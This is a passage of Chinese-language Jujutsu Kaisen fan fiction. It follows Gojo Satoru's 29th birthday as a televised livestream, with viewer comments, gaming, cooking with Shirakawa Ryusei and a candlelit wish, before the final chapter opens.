果然是这件事,昨天五条彻刚起了个头就喝多了。白川琉世看着手机里堆积的事项,把其中一项截图发给了五条彻。 那是在全国范围内置立咒灵应对培训机构的提议。 日本现在的情况不容拖延,一个设想由总监部提出,交由政。府审批,并且白川琉世确定会很快通过。 在全国每个警点附近,尽量设置咒术机构,根据周围咒灵爆发频率,常年配备咒术师驻守。同时,政。府紧急拨款,总监部批量产出咒灵可视眼镜、咒力监测仪、性价比高的攻击型咒具,慢慢投入民间。最重要的一点是,强制所有有行为能力的居民,参加应对咒灵的培训,争取做到四级咒灵不用报警就能解决。 咒术机构一定程度上代替了学校的职责,如果没有生得术式,大部分人也不会选择念咒高,参加培训让自己有应对咒灵的能力后,完全可以过脱离咒术界的生活。 而拥有生得术式的人,基本都是家传,野生的凤毛麟角,家传的咒术师一般也不上高专。 因此,这个政策一经面世,将冲击咒高本就稀少的生源。 [白川:明年咒高都不一定能招到学生,悟只教一年级,一年没有学生教,时间长了也没有待在咒高的必要了。] [五条彻:好,好,五条家是校董,省的我想办法把他开除了。] [白川:……] [白川:顺便一提,如果以后悟继续做教师,我是支持的。] [五条彻:冥顽不灵!] [白川:你也在乎他的意见,否则直接开除不就行了?] 五条彻没音了。 本来以为没事了,然而,对方又提出了令人惊讶的要求。 [五条彻:五条家想解除伏黑惠的抚养权。] [白川:向悟说了吗?] [五条彻:说了,他不同意。] [白川:直接和悟对着干,他肯定会逆反。] [五条彻:哎,所以我让你劝他。] 没想到悟的老父亲这麽关心他。 [白川:你太焦急了,彻先生。伏黑再过几年就成年了,悟培养学生的心思也淡了很多,什麽也不做,反而能如你所愿。] [五条彻:你算的倒挺清楚。] 他哪有算什麽,白川琉世望向卧室的方向。悟和学生如何相处,是他自己的事,帮悟应付过了老父亲,一会是不是能要奖励呢? * [阿美莉卡某军方人员奉命访问,要求见你。] [to七海:你和政。府的人接见就行,他们想要验证咒力作为能源的可能性,直接配合。] 这麽大的事不可能只封锁在日本,首当其冲就是美丽国嗅到了“能源”的气味。 第一次记忆里,羂索确实通过这个欺骗过阿美莉卡,不过他那是为了骗军方派人前往死灭回游的结界,实际情况下,咒力并不能当做可再生能源用。事实上,不止日本,隔海相望的某个古老国家,那群飞天遁地的修真者不仅存在于民间传说,也是真实存在的特殊群体。 欧美的巫师、法师、精灵、猎魔人,林林总总,同样与世俗的势力有所合作,咒术师本质上与他们没什麽不同,如果真的被肆意拿去试图榨成能源,他也不会让那些特殊群体们光看着。 得罪他们这群人,远不如到处去嗅石油的气味来得容易。 [政。府提议让您或者五条先生作为公众人士活跃,用来激励民众的信心,减少负面情绪产生,五条先生前面两次公开露面取得了很好的效果。] 白川琉世考虑的久了一点。 最终他没回复这个问题,而是把五条葵发来的纯净版文档发送过去。 [to田中:稍后我会对文档中的内容进行补充,之后联系政。府的人,把新世界意识的主线公布出去,用来稳定民众情绪。] [退职申请(九十九由基)] [to九十九:再干三年,就三年,咒术界需要你呐,由基。] [生得术式和咒术师资质的问题,最近民众讨论的热情一直高涨,是压下去还是……?] [to田中:在新主线发布出去后全部披露,你和政。府接洽,按规定办事,世家那边我来解决。] 咔嚓咬下外衣依旧酥脆的吐司,他慢吞吞地吃着早午餐,某人终于睡醒,洗漱一番,来到餐厅,衣服也从睡衣换成了长袖长裤居家服。 空调持续运转着,五条家的一家之主一副睡饱了精神很足的样子,抓起吐司塞进嘴里。 “已经凉了,我再给你烤一片。” “不要,好麻烦,吐司这种平庸的食物能填饱肚子就行了吧?” “这种平庸的食物怎麽出现在你的冰箱里?” “肯定是侍女放的。” 大口咀嚼食物,五条悟偶尔也会生出青少年一样的心情,快速解决早餐,迫不及待跑去活动室,打开显示屏。 “我要玩《战O4》玩个爽。” “我也要玩,我超想玩那个的。”白川琉世同样挤过去,伸手去够手柄。 “你今天不是上班吗?”好像说要一起玩游戏的不是他一样,五条悟抓住手柄不放手,“随意旷工、滥用职权,你也是烂起来了琉世。” “不要,你父亲中午还要招待我呢。” 拉扯了一会,五条悟忽然松开手柄。 “早上吃了凉凉的早餐感觉好难过,好想吃喜久福啊。” 那种失落、渴望的语气和甜丝丝的嗓音,令白川琉世沉默地放下战利品手柄。 好吧,五条大人又开始作弊了。 他拿起手机,换上鞋子,转移到仙台车站附近,排了半个小时队买了一袋喜久福,回来的时候,却看到想支开他独享游戏的人,正对着显示屏上的开始界面发呆。 “良心发现了,所以想让给我玩吗?” 白川琉世把纸袋放到五条悟脚边的地板上。 “说了一起玩,一起玩的意思是你看着我玩。” “不用这麽贴心,前面的部分我看过实况的,不过悟操作的肯定和他们不一样。” “哼,当然了,我玩游戏也是最强。” “真了不起。”白川琉世也说上了阴阳怪气的京都腔,“都说了我看过实况,一定要等我,我会剧透的哦。” “哈?” 然后收获了猛地扑在他身上的白色猫咪。 第86章 小悟29岁·全部的爱与祝福 2018年12月7日。 这天是周五,但依然有不少人蹲守在电视机前守着,学生和上班族也有不少拿出手机偷偷摸鱼的。 一周前,朝月TV的官方账号发出预告,将在全日本最特殊的男人生日那天,也就是12月7日进行全天直播。 早晨,虎杖和乙骨聚在虎杖的房间,坐在桌前,期待地盯着支起来的手机。 高专这几天放了寒假,有家并且亲人和睦的学生都回家了,虎杖家人都去世了,夜蛾考虑了一下,特别批准他住在学校,如此一来,总是租房住的乙骨也干脆留校了。 虎杖桌上堆了一叠漫画,旁边还有好多零食饮料,刚到八点,直播间画面一亮,美丽的女主播站在料峭的寒风里,笑着向大家打招呼。 [大好早上好,现在是12月7日早上8点,我是朝月电视台的松岛优奈,很高兴能与大家一起走进五条先生特殊的一天。] “那是五条老师家啊,好气派。”虎杖撕开一包薯片,却根本没功夫吃。 松岛背后是一扇宽大的雕花木门,随着介绍,摄像拉了远角,才把这扇充满年代感的门完全显示在镜头中。 弹幕疯狂地划过屏幕,[是少爷啊我们小悟][我恨五条悟为什麽这麽有钱这辈子还能等到他出道的一天吗][只能是毫不营业把粉丝饿死的爱豆吧]。 虎杖查找屏蔽弹幕的图标,也不是讨厌大家说的话,只是都遮住了,画面就看不清了。 “我的手机用来放有弹幕版的,我把声音关掉。”乙骨也打开直播间,把手机放在桌上。 “太好了,乙骨前辈。” 松岛优奈转身敲门,后面是不出境的摄影、导播、场务和技术,电视台早先和五条家对接过,这次没剧本,提前沟通好了容易触雷的话题,其他的主打一个随机应变。 门被打开,眼花缭乱的色彩撞入眼帘,松岛优奈顿住,发出无声的惊叹。 门口站着一位年轻的小姐,杏眼,小巧的脸,身披仙鹤梅花图案的五纹大振袖,是在寻常女孩身上难以见到的惊人华丽。 和葵长得好像,这是松岛的第二反应,不过现在在直播,她没多说什麽,礼貌向对方打了招呼。 “我是五条枫,五条家的内务管家。诸位从东京远道而来,真是辛苦了,还请进来吧。” 非常优雅的腔调,符合任何人对豪门大小姐的想象。 拍摄组在五条枫的带领下,穿过长长的阔地,几条走廊,来到花园。园里种着重重绰绰的梅花,正值盛开,枝条垂落,随风而动如绯色潮汐。摄影适时给了一些镜头,松岛的画外音响起。 “好漂亮的园林,我之前去过北野天满宫,和那比也毫不逊色嘛。” “我们家的祖先偏爱梅花,不管是天满宫还是家里,都种满了呢。”五条枫礼貌应答。 五条家的祖先是菅原道真,这点在日文圈不是秘密,虎杖看到弹幕又到达了高峰。 [天满宫都是他家经营的?][家里有神社,怪不得这麽有钱。][好高雅的大小姐。][那套和服得有几十万吧?] “那很有钱了。”虎杖在漫长的风景镜头中放松下来,往嘴里塞薯片,“如果按照之前的情况,乙骨前辈,你将会继承这麽多财产啊。” “不要再说那件事了,虎杖。”乙骨忧太满面通红,“我根本没想继承老师的五条家,真的。” “我知道啦。”虎杖安慰他,“那种情况应该是五条家出了事,而且回过头来想想,大家可能被脏东西操控了。” 他的目光落在手机后的一摞漫画上,初秋时,融合了新旧世界意识主线的漫画成功出版,因为并不是单纯的娱乐作品,是整个日本真实发生的事情,漫画一经出版近乎脱销,现在基本上每户人家都有一套。 挺羞耻的,虎杖马上移开视线,五条老师和白川先生的戏份很多,但他的戏份也不少,真不明白是为什麽。 漫画的结局是危机解除,现世和平,完完全全的he,故事中的人继续平凡却幸福地生活下去。 和现实的发展完全一样。 松岛在五条枫的带领下,来到一扇门前,敲了敲,马上,门被拉开,一个白色的脑袋钻了出来, “大家好啊。” 今天满29岁的五条悟,戴着墨镜,向镜头挥手,镜头直直切到他脸上,一时间,那张完美无瑕的脸占满了整个屏幕,脸的主人并没注意自己颜值杀伤力的问题,还在开朗地扬起嘴角,笑得甜美又帅气。 [眼睛,要看眼睛!][我死了……][美神降临][日娱的丑男们有什麽头绪吗?][小悟轻轻一笑留我痛苦一生][你完了,这辈子染上五条悟你就完了] 导播时刻关注着直播的弹幕,对五条悟做了个摘下墨镜的暗示。 然后,那双晴朗的眼眸看向镜头,挺翘的纤浓睫羽微微颤动,挤出一个甜度爆表的wink。 松岛优奈愣住,捂着胸口缓了缓,那种大脑触电般的感觉才散去。 [完美的、正确的、客观的、中肯的、一针见血的……][宇宙顶配级颜值+实力][上帝炫技之作,创造他的时候就什麽都没忘了加是吧][爆杀,感觉大脑皮层都被冲击的光滑了] 星光一样的眸子点亮了所有观众的正面情绪,今天想必是格外和平的一天。 五条枫先离开了,节目组换了拖鞋进来,拍摄活动室内的场景。五条悟和松岛站在镜头里,专业的主持人贴心地引导话题,根据室内的陈设询问五条悟的爱好。 一面墙附近收纳着各种型号的游戏机和手柄,墙上两个巨大的显示屏,都处在游戏暂停界面。 “在玩游戏吗?五条先生,现在才八点多哦。” 五条悟穿着简单的现代家居服,米色毛衣,白色裤子,松弛感拉满,“当然是早上来一会更提神醒脑。” “在玩什麽呢?”镜头拉到屏幕上,“这是两个游戏吧?” “《奥O赛》,这个是我玩的。”五条悟指了指靠门那个屏幕,“另一个是琉世在玩的,他最近超迷《荒野大O客2》。” 两款游戏都是今年十月发售的,非常火爆,松岛优奈也略有耳闻,不过她并不了解游戏,反而很有兴趣顺着另一个话题引导。 “白川先生也会玩游戏吗?真令人意外。” 五条悟打开了话匣子。 “什麽嘛,都被他一本正经的样子骗了,某些人私底下漫画游戏都来的,那一柜子都是他的东西。” 随着五条悟指着的方向,镜头转动,相对的墙上是一柜子的游戏卡带和漫画书,铺满了宽阔活动室的整面墙。 [痛房][梦中情房][和兄弟在一起就这点好,可以通宵打游戏][笑死了要,死活不官宣,结果住一起也不避讳][死活不官宣,但戴同款婚戒][白川哥比较害羞,理解][今天那位不是开内阁会议去了?] 如弹幕所说,松岛适时打开自己手机,找到内阁会议的直播,放在镜头前。 会议室里,乌压压一片黑西装排列而坐,会议正在主持阶段,切换镜头时,正好划过坐在一群大叔中间的白川琉世。 同样的黑西装白衬衫,正面无表情地和身旁的检察厅长官小声交流。 松岛只放了几秒钟,就移开了手机,观看的人好多才意识到今天是年末政。府召开内阁会议的日子,电视的新闻频道正播放着会议流程。 [电视看白川哥,手机看小悟,真是被硬控住了][白川哥还有两副面孔呢][本来的事,白川哥非工作形态很有趣的,上次我去漫展看到他,他假装自己是自己的coser呢][白川哥私底下假装自己不是本人不是一次两次了][哈哈哈哈对,大家都知道,但是溺爱了] 松岛优奈又询问了几个日常话题,五条悟也相当大方地带她来到其他房间。 厨房和餐厅是相连的,装修和外边不一样,十分现代化,浅色的木制家具,餐桌上铺着暖色调桌布,上面是插着大束鲜花的花瓶。 “…早餐吃过了哦…我们轮流做,怎麽一副惊讶的表情,我也是会做家务的…有照顾的人,但是最近很少让她们来了,除非大扫除…什麽嘛,多少也想过二人世界啊。” [好甜蜜,又幸福了小悟][谢谢官方替我们挖糖][他说想过二人世界诶,太会撒娇了吧,白川哥吃这麽好][我要是白川哥就翘掉那个破会专心给小悟过生日] 松岛和五条悟聊的很愉快,而且正在餐厅这个地方,她给场务偷偷比了个手势,接过对方递过来的蛋糕盒子。 “这是我们的一点心意,生日快乐五条先生!” 五条悟接过蛋糕,放在餐桌上,戳着透明塑封盒子,开心地说,“是草莓奶油蛋糕,和琉世告白的时候送我的一样。” “诶?!”松岛优奈替大家惊讶出声,“是怎麽回事?和我们讲讲吧!” 星光流转的眸子划过怀念的神色,五条悟倒没有不好意思,不过其中涉及到的隐私太多了,只是简单解释了一下,“琉世不是失踪过好久吗?回来以后不敢见我,特意买了蛋糕来赔罪。” [啊啊啊什麽啊?为什麽官方出版的漫画里没有收录这点?][据知情人士透露,他们的感情戏被白川哥无情地删减掉好多][白川哥罪大滔天,使得大家怨声载道][为什麽删掉?如果留着,我看到了正面情绪肯定能消灭十个特级咒灵][在意隐私吧,谁会好意思自己的感情史被全世界人围观] [什麽那个帖子是白川哥发的?天呐,我记得,在J-talk上][对对对,标题是“有人知道这是哪家店的蛋糕吗”,你们都不知道吗?那家店的老板后来主动爆过料,去搜一下星野甜品店就能出来访谈][那个访谈快被人盘包浆了,怎麽还有人 不知道,白川哥买蛋糕时说过的原话真让人嗑生嗑死] [感谢组织引路,我这就去搜][白川哥是防不住人民群众的智慧的][真是常嗑常新啊] 松岛优奈察觉到五条悟有所保留,敏锐地没有追问,而是换了个话题,“最近五条先生在做什麽呢?” “打卡甜品店,都发在账号上了哦,偶尔去总监部开会,然后就是处理家里的事,对了,最近开了游戏直播账号。” “哈哈,我想现在根本不用分享账号,大家应该都关注了。” 五条悟了然地眨眨眼,大家喜欢他简直像呼吸一样自然。半年前,有提议让他作为公众人物活动,用来提振民众的正面情绪,然而被琉世拒绝了。 不过,他们的身份其实已经强制公开了,折中之下,五条悟拍了讲解咒术的教学示范片和几集作为咒术师活动的纪录片,效果出乎意料的好,他的出现能大幅度稳定民众的精神,再加上代替天元的结界设备在持续发挥作用,以及全民咒术师化的进程,咒灵的强度和再生速度甚至比天元还在的时候弱。 随着民众的适应,咒灵的强度应当还会进一步削弱。 拍摄后的几个月,五条悟不再出席公共活动,大家已经很久没有看到他了,不过,最近开了游戏直播,就算每周只播几个小时,也起到了很好的效果。 作为三天打鱼两天晒网的游戏主播,是兼具社会责任和个人兴趣的完美平衡点。 “对了。”松岛想起计划要问的消息,“据说咒术界的事要做成游戏了,很期待呢,一定是款3A大作。” 这是当然的了,不仅是松岛,屏幕前的无数人也下意识这麽想,举政。府之力,要钱给钱,要人给人,做出来的游戏能不惊艳吗?漫画的出版,在社会上的影响力已经够大了,游戏问世将在全世界掀起狂热,用文艺作品消解民众的恐惧和陌生感,是政。府和总监部推出的长期计划。 “我也很期待,已经通知我明年去做脸模和动捕了。琉世听说负责人是小岛O夫,快高兴疯了,但小岛临时接手这个项目,《死亡O浅》就要延后了。” [别管什麽《死亡O浅》了,我要玩由小悟做脸模和动捕的游戏][高专那天的事还真做成游戏开场动画了,我看到先行预告上小岛说过][什麽时候能发售?在这之前我绝对不能被咒灵杀死][我也是,在玩到游戏之前,特级咒灵也给它干碎] “啊,那个脸模和动捕……”乙骨和后辈对视,“咱们真的要去吗?” 高专那些学生也收到了任务,要求配合游戏的制作。 “那可是小岛O夫,当然要去了!”虎杖热情高涨。 “算了。”乙骨无奈地笑笑,反正已经被强迫做公众人物了,能为大家做点贡献也是义不容辞的事啊。 他们看向镜头,五条老师应主播要求,带着摄影组来到了卧室。只能说不愧是有钱人,卧室也很大,特别是超大size的床铺,很宽不说,长度也远超正常的2m。 两边床头有两个小型立式书架,各放了一叠书,松岛看到了话题,询问是否可以靠近拍摄。 五条悟点点头,站在靠外侧的书架旁一指,“这边是琉世的,他起的比较早,睡外面。” [虽然我知道你们每天睡一起但真的睡一起啊!][太直观了,是大方秀男友的小悟][他们睡一起有什麽好奇怪的,婚戒都带着呢][话虽如此,脑补和亲眼所见还是不一样啊!] 镜头给到白川琉世的书架,两本计算机书籍,三四本金融和管理方面的,剩下的全是纯文学,从《追忆似水年华》《美丽新世界》到《枕草子》《金阁寺》,让松岛大感意外。 “哎呀,白川先生竟然喜欢看小说麽,还是这种类型的。” “被他的外表骗了吧?那家夥比我细腻多了。”五条悟半抽出《追忆似水年华》,“这本例外,他睡不着的时候专门催眠用的。” 松岛优奈大笑起来,弹幕也一片欢声笑语。 [笑死了,果然意识流催眠神作][白川哥怎麽会是文艺青年,我还以为是那种理性超90%的男人呢][白川哥因为外表被误解了太多][看过漫画的都知道,白川哥温柔又体贴,感性至少占50%] 床里侧的书架则是放着几本数理书籍,光看名字就十分烧脑,剩下的是好多杂志,时尚旅游游戏,甚至还有几本烹饪鈎织,风格十分轻松。 [我们小悟的书架也好可爱][悟酱果然什麽都会][难怪审美超好,是热爱时尚的精致猫][我服了你们喊的那麽可爱,那个男人可是一下捏碎特级咒灵的人啊][那又如何,悟咪就是这麽一个可爱又强大的迷人角色] 松岛又参观了衣帽间,书房,可知白川琉世的衣服只占衣帽间三分之一,大多数还是无趣的通勤装,“琉世审美那块好像是缺失的”,五条悟这麽评价,但网友持不同意见。 [白川哥的审美明明是顶级的,照照镜子就知道了,小悟] 文艺方面的审美却还不错,书房里的书反而超三分之二都是他的,五条悟抬手扫过整面墙的藏书,“这面都是他的,立式书柜里是我的,我很少用书房,基本上都是他在用。” “这麽多?”松岛讶然,“白川先生这麽忙,平时看的过来吗?” “不能以常理来衡量这个人,他汲取知识的速度超快的。” 五条家确实很大,只参观五条悟的住处,夹杂着聊天交互,就播了一上午,屏幕前的众人也不觉得无聊。中午的时候,五条枫带领侍女送上了超豪华会席料理,尽管摄影组表示没人喝酒,她也照样开了几瓶好酒,以尽地主之谊。 餐桌很长,能坐得下所有人,但镜头依旧只给到五条悟和松岛优奈。 “按照以前的惯例,五条先生的生日会怎麽度过呢?家里也会进行庆祝吗?” “以前?不庆祝啦,成年后时间很紧,家里组织的宴会也没空参加。” 松岛的笑容一下子变得很苦。 “那麽,今天是第一个能悠闲度过的生日吗?啊,真抱歉,接受我们的采访也算挤占了休息时间吧。” “啊?你们不是来陪我玩的麽?”五条悟轻松一句话,消解了松岛的愧疚。 [天呐,小悟,我心碎了][按照原来的时间线,小悟这个时间刚从狱门疆里出来没多久,正准备备战宿傩吧?生日肯定没能好好过][啊啊啊你不说还没人注意到,那时候小悟刚过完生日不久啊][别刀我了……] 乙骨和虎杖看着看着,又莫名其妙吃了一嘴刀。 “我们对五条老师的了解不足百分之一。”虎杖叹了口气。 乙骨温柔地笑着,语气失落,“现在老师应该很幸福吧,这样就好。” 两人抱着薯片、可乐、大桶爆米花,靠在一起,悲伤地默默汲取垃圾食品。 总之,午饭因为流程过于繁琐,吃到下午三点,无数日本人也看着吃播吃完了中餐,虎杖晕碳正昏昏欲睡的时候,最外面的门被拉开,脚步声响起,镜头切到了刚刚回家的白川琉世身上。 一手拿着花,一手提着蛋糕,同时两只胳膊抱着巨大的牛皮纸袋,里面堆满了食材。 “是白川先生。”虎杖马上不困了。 白川琉世走进餐厅,餐桌刚刚收拾干净,他把东西放在餐桌上,和大家打招呼,态度非常随和。 “松岛,最近还好吗?” 松岛优奈明显兴奋起来了,“您还记得我,卡…白川先生!” “当然啦我又没到健忘的年龄。” [小道消息,主播好像是白川哥的毒唯][真的?那她面对小悟是什麽心情?][也是嗑的吧,不是所有毒唯都是梦女啊] 导播因为弹幕的舆论,悄悄招手让松岛过去交流,画面中只剩家里的两个主人。白川琉世手搭在蛋糕盒子上,“喜欢这个吗?” “喜欢哦。” 又举起外面买来的花束,“花都是你喜欢的吗?” “没记错,都是喜欢的。” [……他们轻轻一卖,留我痛苦一生][嗑到了这句我已经说腻了][什麽啊,这麽甜吗?] “我让枫帮忙挑了好多食材,晚上我做饭。”那张不时出现在新闻中的冷脸,笑出了整齐的一排牙齿,“拍摄这麽久,累了吗?” “开了这麽久的会,你累吗?” “不累啊,轻轻松松。” “那我怎麽会累,一直在家呢。” [虽然只是平常的话,但气氛好黏糊啊][吓晕,白川哥怎麽也会笑成这样啊][非营业模式时,白川哥活人感很足的,主要看和谁接触了][对啊这种反差好迷人,旅游的时候见过他们,白川哥一直在帮小悟排队甜品店][哈哈哈哈他根本不吃甜食吧][是真的在过日子呢] “对了,我玩了一会你的档。” “你又……,什麽时候玩的?”白川琉世委屈地垂下嘴角。 “你出门之后哦。” “太坏了,我已经跳档玩了三次了。” 他们两个挤挤挨挨跑去活动室,白川琉世果然发现自己的游戏进度快了不少,骑马的西部牛仔又换了个地图,正百无聊赖倚在墙边背对着屏幕前的两人。 [太坏了小悟,怎麽能欺负白川哥呢?][太坏了小悟,我好喜欢][小情侣间的情趣罢了] “那还要给我做饭吗?” “要啊,今天是你生日嘛。” “不生气了?” “不生气了,今天是你生日嘛。” “如果不是我生日,你就会生气吗?” “我前两次难道对你生气了吗?” “你一点脾气都没有的样子好没魅力。” 白川琉世握着手柄,不仅没生气,还莫名其妙笑了一声。“是你生气了吧?今天我早早就出去开会,明明是特殊的日子。” 悟的行为就像故意找存在感一样。 “哈?我在乎这种事吗?”五条悟真实地疑惑了,开始在镜头前高声反驳。当然,理智上他真的没有觉得自己在闹脾气。 琉世今天有重要的事,出门无可厚非,他连生出不满的感觉都没有。而且,他自己有时候也很忙,鸽掉一起的游戏时间也不是一次两次了。 “有吧,下意识的,有时候人也会被理智之下的东西操控啊。”白川琉世点开暂停中的游戏,“前两次偷玩我的档也是我鸽掉你之后。” 五条悟牢牢闭上了嘴巴,他很敏锐,因此马上察觉到了自己近期的不对劲。 好像冰山开始消融,大体上没发现有什麽差别,表面却因为温暖咕噜咕噜融化,流淌进海里。 毫不留情的丈夫意味不明地补刀。 “就是因为这个,我才不生气,反而很高兴啊。” 悟的生命里,不再只有“咒灵”“战斗”“压榨所有时间的理想”,而是开始为生活里微小的事调动情绪,在乎以前从来没机会放在眼里的事。 两个人对视的时候都流露出了笑意,然后一起围在显示屏前打游戏,五条悟的长手长脚圈起来,坐在地板上,看白川琉世操纵人物在陌生的地图上做任务。 “要我告诉你前情提要吗?” “别开玩笑了,悟,我玩游戏也超厉害的好吗?” [本来想猛猛嗑人工糖精,竟然吃到了细糠][真夫夫,又不是强行营业的,你就嗑吧,一嗑一个不吱声][怎麽这麽走心啊……我这样的狗,怎麽能吃到这样的巧克力] [白川哥真的好适合做男友,在生气就是不说让男朋友猜的比赛中获得第一名][我们小悟没有生气好吗?只是有点别扭被察觉到了][因为男友在自己生日那天出去忙而不开心,重要的是自己都没察觉到这点,不知不觉已经爱到极点了,好可爱啊!] 玩游戏的时光总是快速的,网友看白川琉世打了两小时《荒野大O客》,倒也不会觉得无聊。下午五点,他终于放开手柄准备做晚餐,五条悟就像别人玩他想玩别人不玩他也不玩的小学生,也跟去了厨房。 “干嘛,你去招待松岛他们吧,我来就行。” “请不要在意我们!”松岛的声音远远传来,“如果需要我帮忙的话我很乐意,不需要我就跑远点,一个人待着也行!” 没有让客人动手的道理,白川琉世准备自己主厨,在悟的要求下,留下他当助手,除了两人,就是摄影师尽责地负责拍摄。 [好白的胡萝卜丝,不是,好整齐的手][小悟竟然真的会做饭][都说了多少次了他会啦,小悟是无所不能的男人][相比小悟,我还是觉得白川哥会做饭更惊吓][对吧,很有那种被封建思想腌入味的特权男结果在家很贤惠的反差] 白川琉世尽职尽责地把鸡肉打成馅料,五条悟同时正把菠菜细细切碎,两人对视一眼,“琉世,你是不是要做那个?” “没错,就是那个。” [所以到底是哪个][怎麽还谜语人上了][啊,该不会是…][没错,是那个吧?][离谱!怎麽弹幕也谜语人上了!] 不过谜题没有持续多久,白川琉世带上一次性手套,一个可爱的肉丸子从掌中捏出,落入滚水中。 [原来是传统艺能,虎杖的肉丸子锅][好好笑,虎杖到底教给了多少人啊][不知道教给了多少人,但我看直播学会了,四舍五入等于教给了所有人] “怎麽白川先生也学会了啊。”正在看直播的虎杖本人也不清楚,“难道是五条老师教给他的吗?” “应该是吧,毕竟在一起生活。”乙骨孔雀蓝的眼睛眨啊眨,“大家都吃过了吗?好羡慕。” “乙骨前辈也想尝尝吗?明天我买材料回来做,毕竟这几天只有我们两个了嘛。” “真的吗?太好了,我也会帮忙的。” 在明天的高专支起小小的肉丸子锅前,五条家的晚餐已经准备好了。七八个人的分量不是轻易就能做好的,一直到七点,肉丸子锅,炸猪排饭,蔬菜天妇罗和盐烧的好几种鱼类,还有香气扑鼻的奶油浓汤,依次搬上了长长的餐桌。 镜头很给面子地为美食献上特写,松岛一边惊叹一边夸赞,“没想到两位的手艺这麽好,菜做的相当漂亮呢。” [我是在看《深夜O堂》还是《孤独的美O家》特别企划吗?][看到你们这麽会过日子我就放心了][好羡慕主播啊,松岛优奈你这个好命的女人] “请坐请坐,要不要先开始流程,这次的蛋糕有点多啊。” 白川琉世招呼大家坐下,餐桌上还有三个蛋糕,节目组送的草莓奶油蛋糕,白川琉世买的黑森林蛋糕,和五条家刚刚送来的手作芝士蛋糕。 “这麽多蛋糕,大家都很爱五条先生呢。”松岛很会烘托气氛,拆开蜡烛,“要插到哪个上?” “每个都插上,生日蛋糕不在当天吃,就不是生日蛋糕了。”五条悟下了决定,“每个插10支,我提前过30岁生日好了。” “驳回,干嘛这麽着急,等你30岁再过30岁的生日。”白川琉世轻声谴责他,然后主动在自己买的蛋糕上插了9支,其他两个插了10支。 “我要关灯咯!”松岛走到电灯开关处,“准备好了吗?” 灯啪一声灭了,冬天黑的早,马上室内就漆黑一片,火机打响,白川琉世点燃所有蜡烛,坐在五条悟旁边,在跃动的柔和亮光中,凝视他灿烂的笑颜。 “该许愿了,悟。” 许愿?要许什麽愿呢?五条悟闭上双眼,陷入轻微的迷茫。 愿望这种东西,从来不会因为生日的时候许下就会实现,想要达成什麽目标只能靠自己努力,这是现实。但是,如今的情况却不需要这麽苦大仇深的警醒。 黑暗中,一只温暖的手,恰如其分地握住了他的手。 [今天我也过生日,我的愿望是小悟能平安幸福地度过一生][我也是今天生日,希望小悟和白川哥一直幸福,你俩把日子过好比什麽都重要][虽然今天我不过生日,但希望大家都能好好的][希望咒灵能快点消失][大家要保持乐观的心情,保护好自己][要好好吃饭,好好睡觉,无论遇到多麽痛苦的事都不要轻言放弃][希望大家永远不会绝望] 黑暗的直播间中,小小的烛光也变成了网友的许愿池,他们透过温暖的光芒和五条悟虔诚的、闭着双眼的面容,认真地敲下自己的祝福。 不断滚动的文本,把屏幕遮得什麽都看不见了,在目前的网络环境中,少见的没有污言秽语和娱乐至死的解构,每个人都怀着善意,祝福五条悟、祝福大家、祝福自己,祈祷大家会幸福,希望明天会更好。 “呼——。”被大家祝福的那个人,孩子气的鼓起脸颊,当真一口气吹灭了29根蜡烛。 “真不愧是悟,连吹蜡烛都是最强的。” [笑死了,白川哥有时候也挺阴阳的][对对对,有时候他哄人哄的太像哄小动物,就多出了点阴阳怪气的感觉] “当然了,因为我做什麽都是最强。” [散了吧,人家就吃这一套][散了散了,什麽锅配什麽盖] 松岛悄咪咪去开了灯,拉开了节目组早就准备好的礼炮,“虽然现场的气氛组只有我,但气势上不能输啊,别担心,走之前我们会好好打扫干净的。” “不用了,打扫什麽的。”白川琉世挥手招呼她过来,“在家里不要搞形式主义,快来吃饭,不然我要开始讲话了哦。” “不要不要。”松岛飞奔过来,“随便讲四个重点八个注意,菜都要凉了。” [如果是白川哥讲话,那我爱听][白川哥是我钦点的在漫展前讲话唯一能被饶恕的][讲真下次漫展政。府能不能派白川哥压场啊][台上讲完话下来就假装自己是自己coser的那种压场吗?] 蛋糕全被切开分发,大家象征性地吃了点蛋糕,开始吃晚餐。东道主夫夫精心做的晚餐得到了松岛的花式夸奖,女孩夸完后,尴尬一笑,“惨了,回去我不会被网暴吧,我可是吃到了你们两个做的饭诶。” [不会的小姐姐,大家只是开玩笑啊][对啊,连电视台的主播都网暴那真是脑干缺失的有点严重了][没有你采访我们今天哪里能看到这些呢][那最好不要,听说主播和白川哥有关系][什麽关系?熟人?表亲?][不对不对,没有血缘关系,听说认识白川哥的秘书][这样啊,朝月每次都能拿到首播,原来真有关系] “怎麽会。”白川琉世嚼嚼嚼,“现在大家都是热血战斗漫完美大结局后的人,之前那个阴间漫早就被替换掉了,所以别操心那麽多,大家肯定都是善解人意的好人。” 五条悟和松岛一起笑了,餐厅内外充满了快活的空气。 [该说不说,白川哥有点冷幽默在身上的][希望他“心想事成”的能力再次起效吧][已经起效了,这半年大家争气的不像我熟悉的那群废物][喂喂,笑死,我不行了,你说的什麽话] 弹幕依旧很热闹,不过晚餐很快结束了,此时已经九点左右,节目组告辞离开。两人送到五条家大门口,在夜色中挥手,送别车辆。 “现在没人了,你不问我许了什麽愿吗?” “别说,愿望说出来就不灵了。” “搞得我很想说一样,只是没想到你问也不问。” 两人沿着小路原路返回,今晚是个晴夜,轻柔明亮的月光洒在身上,五条家入冬就纷纷扬扬飘荡的梅香也适时袭来。 “那麽,五条大人,你许了什麽愿呢?” “不告诉你,愿望说出来就不灵了,等你变成老爷爷再来问吧。” [原来是许愿和我一起变成老爷爷啊。] “欲擒故纵这招已经对我没有效果了,你许的什麽愿我已经知道了。” “嗯?那你说是什麽?” “不要,说出来就不灵了。”白川琉世伸手给自己的嘴巴做了个拉链的动作,“等你变成老爷爷的时候找你对账。” “很有胆量,琉世,如果错了,我会狠狠嘲笑你的。” “不要,这麽无情吗?为了你的愿望,我可是打算从现在就努力呢。” 五条悟一副“这家夥竟然真的知道了吗?”的讶然,笑意盈满眼眸,轻轻击掌,哄小孩一样起哄,“嗨,嗨,要努力哦,到时候找五条大人领取奖励吧。” “当然啦,奖励什麽的我怎麽会忘。” 月光浮动,暗香疏影,梅枝被寒风吹得四处招摇,被一只卷起衬衫袖子的手臂挡开。白川琉世伸出手,掌心朝上,四指微勾,“来吧,很冷吧?” 他是冬天也丝毫不觉得冷的火炉体质,掌心十分温暖。 一只微凉的手自然亲昵地牵上他的手,“嗯,走吧。”【你现在阅读的是 】 【完结】 第87章 反转的雪景玻璃球·完结 2018年12月24日。 平安夜这晚,京都下了很大的雪,据五条家的老人回忆,近20年都没下过这麽大的雪。 